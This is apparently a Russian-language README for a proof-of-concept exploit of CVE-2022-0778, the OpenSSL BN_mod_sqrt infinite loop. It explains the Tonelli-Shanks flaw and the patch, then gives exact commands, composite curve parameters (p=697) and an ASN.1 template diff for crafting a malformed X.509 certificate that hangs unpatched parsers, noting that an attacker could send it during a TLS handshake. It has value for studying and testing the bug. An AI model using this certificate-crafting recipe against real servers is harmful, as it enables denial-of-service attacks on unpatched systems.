
Эксплойт proof-of-concept для CVE-2022-0778, демонстрирующий бесконечный цикл в BN_mod_sqrt в OpenSSL через специально сформированный сертификат X.509 с непростыми параметрами кривой, что позволяет осуществлять атаки типа «отказ в обслуживании».
Обнаруженная уязвимость вызывает бесконечный цикл в функции BN_mod_sqrt() OpenSSL при разборе ключа эллиптической кривой. Это означает, что вредоносный X.509-сертификат может вызвать отказ в обслуживании (DoS) любого незапатченного сервера.
Суть уязвимости заключается в разборе EC-ключей с точками в сжатом формате: при разборе таких ключей OpenSSL пытается развернуть сжатую точку, вычисляя квадратный корень по модулю простого числа p, над которым определена кривая. Однако простота p нигде не проверяется, даже в BN_mod_sqrt(), для которой это является обязательным условием; таким образом, ошибка в реализации приводит к бесконечному циклу из-за того, что p не является простым, как ожидалось.
中文版说明可以见我的博客OpenSSL CVE-2022-0778漏洞问题复现与非法证书构造
BN_mod_sqrt()Предварительное условие — установленные gcc и уязвимая версия OpenSSL.
Для ошибки в BN_mod_sqrt(): скомпилируйте с помощью gcc -o my_bad_sqrt my_bad_sqrt.c -lcrypto, запустите ./my_bad_sqrt и наблюдайте бесконечное зависание! :D
С сертификатом: выполните openssl x509 -in certs/cert.der.new -inform DER -text -noout в командной строке; это также вызывает зависание.
Функция BN_mod_sqrt() реализует алгоритм Тонелли-Шенкса для нахождения квадратного корня по модулю, т.е. для заданных целого числа a и простого числа p возвращает значение r такое, что r^2 == a (mod p).
Анализируя коммит, который исправляет уязвимость, мы видим, что виновником является цикл, который находит наименьший индекс i, для которого b^(2^i)==1 (mod p), где b определено ранее в алгоритме.
Цикл изменён с
i = 1;
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
while (!BN_is_one(t)) {
i++;
if (i == e) {
ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
goto end;
}
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
на
for (i = 1; i < e; i++) {
if (i == 1) {
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
} else {
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
if (BN_is_one(t))
break;
}
Во втором случае используется цикл for, ограниченный переменной e; в исходном коде, однако, есть только проверка случая i==e внутри цикла while.
Поскольку эти циклы находятся внутри более крупного цикла, который на каждой итерации устанавливает новое значение e равным текущему значению i, мы попробуем следующую стратегию атаки:
i=1 в конце; для этого необходимо, чтобы b^2=1 (mod p).e=1, и если мы сможем попасть во внутренний цикл, проверка i==e всегда будет проваливаться.t != 1 (mod p), то останемся в цикле навсегда.Заметьте, что первые два шага могут произойти и при «нормальном» выполнении, т.е. с простым p. Однако, если p составное, мы можем также выполнить и третий шаг!
Алгоритм Тонелли-Шенкса работает, записывая p - 1 = 2^e * q с нечётным q. Это также порядок мультипликативной группы целых чисел по модулю p, и значения e и q будут многократно использоваться во время выполнения; однако, если p не простое, порядок мультипликативной группы не будет равен p-1, и это поможет нам попасть в бесконечный цикл.
В частности, b инициализируется как b = a^q (mod p), что означает, что если бы p было простым, то b имело бы порядок, являющийся степенью двойки, который мы затем найдём с помощью цикла.
Но если мы установим p = r * s, порядок мультипликативной группы будет (r-1)*(s-1) = r*s - r - s + 1 вместо r*s-1. Алгоритм использует значение q для получения элемента y порядка ровно 2^e; однако, когда p не простое, значение q не будет иметь особого смысла для порядка, поэтому элемент y не будет иметь порядок, равный степени двойки, по модулю p=r*s.
Поскольку в конце первого внешнего цикла b устанавливается как b = b*y^(e-i) (mod p), на второй итерации внутренний цикл будет пытаться найти значение i, для которого b^(2^i) == 1 (mod p), но потерпит неудачу, так как y больше не гарантированно имеет порядок степени двойки.
Числа в эксплойте очень простые: мы берём r=17,s=41, что даёт p=r*s=697. Это означает, что вычисленные значения e и q будут p-1 = 2^3 * 87.
Затем мы выбираем a=696, что означает a == -1 (mod p) и также b == -1 (mod p) при инициализации. Это удовлетворяет шагу 1, устанавливая e=1 для следующего внешнего цикла.
Затем b будет установлено в элемент, порядок которого не является степенью двойки, и внутренний цикл застрянет, пытаясь найти i, для которого b^(2^i)==1 (mod p).
Хорошо, теперь давайте изготовим опасный сертификат, который содержит недопустимые явные параметры кривой с базовой точкой, закодированной в сжатой форме.
Файлы этого раздела находятся в папке certs.
Сначала нужно создать закрытый ключ EC. Поскольку мы хотим получить целевой сертификат с явными параметрами кривой, ключ также должен содержать явные параметры кривой.
$ openssl ecparam -out ec.key -name prime256v1 -genkey -noout -param_enc explicit -conv_form compressed
Затем для удобства мы подписываем сертификат самому себе и выводим его в формате DER.
$ openssl req -new -x509 -key ec.key -out cert.der -outform DER -days 360 -subj "/CN=TEST/"
Давайте проверим информацию о сертификате. Он содержит явные параметры кривой, как и ожидалось.
$ openssl x509 -in cert.der -text -noout -inform DER
...
Field Type: prime-field
Prime:
00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:ff
A:
00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:fc
B:
5a:c6:35:d8:aa:3a:93:e7:b3:eb:bd:55:76:98:86:
bc:65:1d:06:b0:cc:53:b0:f6:3b:ce:3c:3e:27:d2:
60:4b
Generator (compressed):
03:6b:17:d1:f2:e1:2c:42:47:f8:bc:e6:e5:63:a4:
40:f2:77:03:7d:81:2d:eb:33:a0:f4:a1:39:45:d8:
98:c2:96
Order:
00:ff:ff:ff:ff:00:00:00:00:ff:ff:ff:ff:ff:ff:
ff:ff:bc:e6:fa:ad:a7:17:9e:84:f3:b9:ca:c2:fc:
63:25:51
...
Теперь нужно изменить значения этих параметров: Prime, A, B, Generator. Они удовлетворяют уравнению ниже
где p — это Prime, a — параметр A, b — параметр B. p, a, b вместе определяют кривую. Разжатие точки означает вычисление координаты Y по соответствующей координате X.
Очевидно, что необходимо использовать операцию извлечения квадратного корня по модулю, которая вызовет BN_mod_sqrt().
Основываясь на работе drago-96, мы берём p=697, x^3+ax+b=696. Затем нам нужно выбрать подходящие a, b, x, удовлетворяющие второму уравнению. Здесь мы берём x=8, a=23, b=0.
Хорошо, теперь можно приступить к редактированию сертификата. Ручное редактирование структуры ASN.1 — ужасное занятие. Я использовал инструмент xxd, чтобы преобразовать сертификат в шестнадцатеричный формат, а затем отредактировал его с помощью vim. После завершения редактирования преобразовал обратно с помощью xxd -r.
$ cp cert.der cert.der.old
$ xxd cert.der cert.der.hex
$ cp cert.der.hex cert.der.hex.old
$ vim cert.der.hex
# редактируем cert.der.hex
# ...
# готово
$ xxd -r cert.der.hex cert.der.new
Я не нашёл более удобного инструмента. Если кто-то знает такой инструмент, пожалуйста, поделитесь в комментариях.
Шаги создания примерно следующие:
ASN1_INTEGER, Prime не должен содержать ведущие нулевые байты, поэтому нужно изменить длину Primexxd -r в конце файла может появиться нежелательный символ новой строки (0x0a). Удалите его.Теперь давайте посмотрим на структуру ASN.1 обычного сертификата. Части, отмеченные красной линией, нужно изменить.
$ openssl asn1parse -in cert.der -inform DER -i

Длины до и после модификации приведены ниже:
| от(dec) | от(hex) | до(dec) | до(hex) |
|---|---|---|---|
| 549 | 225 | 488 | 1e8 |
| 460 | 1cc | 399 | 18f |
| 266 | 10a | 205 | cd |
| 227 | e3 | 166 | a6 |
| 215 | d7 | 154 | 9a |
| 44 | 2c | 13 | 0d |
| 33 Prime | 21 | 2 | 02 |
| 33 Generator | 21 | 3 | 03 |
Обновлено 2020-03-21:
Намного проще использовать инструмент asn1template, написанный wllm-rbnt.
Клонируйте репозиторий:
$ git clone https://github.com/wllm-rbnt/asn1template.git
Сгенерируйте DER-шаблон из этого сертификата:
$ ./asn1template/asn1template.pl cert.der > cert.tpl
Затем измените упомянутые выше параметры:
diff cert.tpl cert_new.tpl
46c46
< field32 = FORMAT:HEX,OCTETSTRING:036B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
---
> field32 = FORMAT:HEX,OCTETSTRING:030008
51c51
< field36 = INTEGER:0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
---
> field36 = INTEGER:0x2B9
53,54c53,54
< field37 = FORMAT:HEX,OCTETSTRING:FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
< field38 = FORMAT:HEX,OCTETSTRING:5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
---
> field37 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000017
> field38 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000000
Преобразуйте обратно в DER-кодированный ASN1 с помощью ASN1_generate_nconf(3):
$ openssl asn1parse -genconf cert_new.tpl -noout -out cert_new.der
Результат cert_new.der эквивалентен версии, отредактированной вручную.
Итак, мы успешно создали недействительный сертификат. Давайте посмотрим новую структуру ASN.1
$ openssl asn1parse -in cert.der.new -inform DER -i

Все красные части были изменены, и сертификат корректно декодируется DER.
Теперь попробуем разобрать сертификат. Если всё ожидаемо, процесс войдёт в бесконечный цикл.
openssl x509 -in cert.der.new -inform DER -text -noout

Как показано, %CPU процесса openssl равен 100, и стек вызовов находится внутри BN_mod_sqrt().
Если злоумышленник отправит такой созданный сертификат при установке SSL-соединения с сервером, сервер войдёт в бесконечный цикл, что вызовет DoS-атаку.
Мы попробуем создать сертификат с помощью библиотеки OpenSSL C libcrypto.
Как мы видели, нужно использовать кривую с составным основным полем и кодировать точки в сжатой форме, чтобы при разборе попасть в ошибку в BN_mod_sqrt().
Это можно сделать, установив кривую y^2 = x^3 + 1*x + 694 (mod 697) с генератором (1, 132); это вызовет BN_mod_sqrt() с теми же параметрами, что и в my_bad_sqrt.
Выполнение gcc -o my_bad_group my_bad_group.c -lcrypto && ./my_bad_group создаст файл my_bad_group.der, который содержит ECparams в формате DER.
Попытка разобрать эти параметры с помощью OpenSSL приведёт к бесконечному циклу: openssl ecparam -in my_bad_group.der -inform der.
... WIP ...